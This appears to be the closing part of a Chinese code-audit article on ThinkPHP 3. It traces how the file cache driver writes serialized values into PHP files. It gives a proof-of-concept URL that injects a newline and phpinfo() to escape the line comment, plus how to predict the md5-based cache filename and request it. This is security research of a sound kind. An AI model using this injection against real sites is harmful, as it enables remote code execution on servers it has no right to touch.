程式碼分析

ThinkPHP/Common/functions。php

這段程式碼沒什麼好看的,就是S方法具有檢視快取,刪除快取和寫快取的動能,這裡我們只關注寫快取的set()方法

function S($name,$value=‘’,$options=null) {

// 快取初始化

$cache = Think\Cache::getInstance();

// 具體快取操作

if(‘’=== $value){ // 獲取快取

return $cache->get($name);

}elseif(is_null($value)) { // 刪除快取

return $cache->rm($name);

}else { // 快取資料

if(is_array($options)) {

$expire     =   isset($options[‘expire’])?$options[‘expire’]:NULL;

}else{

$expire     =   is_numeric($options)?$options:NULL;

}

return $cache->set($name, $value, $expire);

}

}

ThinkPHP/Library/Think/Cache/Driver/File。class。php

先看

file_put_contents()

,就是這裡寫入了檔案,我們需要控制其中的兩個引數,檔名

$filename

, 寫入資料

$data

檔名

$filename

來自方法

filename($name)

,其中$name可控,filename()是怎麼操作的等下細看

寫入資料

$data

來自

$value

處理後的資料,

$value

可控

$value

先經過序列化

然後使用

<?php\n//

?>

包裹 $value 序列化後的值,這是要寫入一個php檔案呀,危險!注意這裡使用了行註釋符

//

,保證寫入的資料不會被解析,但是我們可以透過換行符等手段輕鬆繞過

class File extends Cache {

public function set($name,$value,$expire=null) {

……

$filename   =   $this->filename($name);

$data   =   serialize($value);

$data    = “<?php\n//”。sprintf(‘%012d’,$expire)。$check。$data。“\n?>”;

$result  =   file_put_contents($filename,$data);

if($result) {

if($this->options[‘length’]>0) {

// 記錄快取佇列

$this->queue($name);

}

clearstatcache();

return true;

}else {

return false;

}

}

下面關注一下檔案的命名方式,具體方法為filename()

C(‘DATA_CACHE_KEY’)

就是獲取配置檔案中 DATA_CACHE_KEY 的值,該值預設為空。該值為空時,

$name

最終的md5加密值也就清楚了

$this->options[‘prefix’]

預設為空,

$this->options[‘temp’]

預設為

Application/Runtime/Temp

,如果在預設情況下,檔名,所在目錄就很好控制了

private function filename($name) {

$name = md5(C(‘DATA_CACHE_KEY’)。$name);

if(C(‘DATA_CACHE_SUBDIR’)) {

}else{

$filename = $this->options[‘prefix’]。$name。‘。php’;

}

return $this->options[‘temp’]。$filename;

}

漏洞利用

利用上面的示例程式,poc:

http://tp。test:8888/home/index/test?name=%0d%0aphpinfo();%0d%0a//

0x0d - \r, carrige return 回車

0x0a - \n, new line 換行

Windows 中換行為0d 0a

UNIX 換行為 0a

引數名name決定洩露快取檔名,md5(name)=b068931cc450442b63f5b3d276ea4297,檔名則為:b068931cc450442b63f5b3d276ea4297。php,預設目錄為Application/Runtime/Temp,然後訪問我們的php檔案

總結下ThinkPHP的程式碼審計方法

小結

因為ThinkPHP3的入口檔案位於根目錄下,和 application 等目錄在同一目錄一下,導致系統很多檔案都可以訪問,這裡生成的快取檔案也是可以直接訪問的,在TP5一些版本中也有這個漏洞,但是TP5的入口檔案更加安全,這個漏洞並一定能利用。

總結

本文基本是依照TP3出現的歷史漏洞來總結的審計方法,其中還有很多沒有提到的點,如TP3對檔案上傳的過濾等,不過本文到這已經有9000多字了,有點超過我的預期,至於本文沒有提到的點,大多是按照正常的php審計方法就能審計TP3的程式,所以本文就此結束

相關文章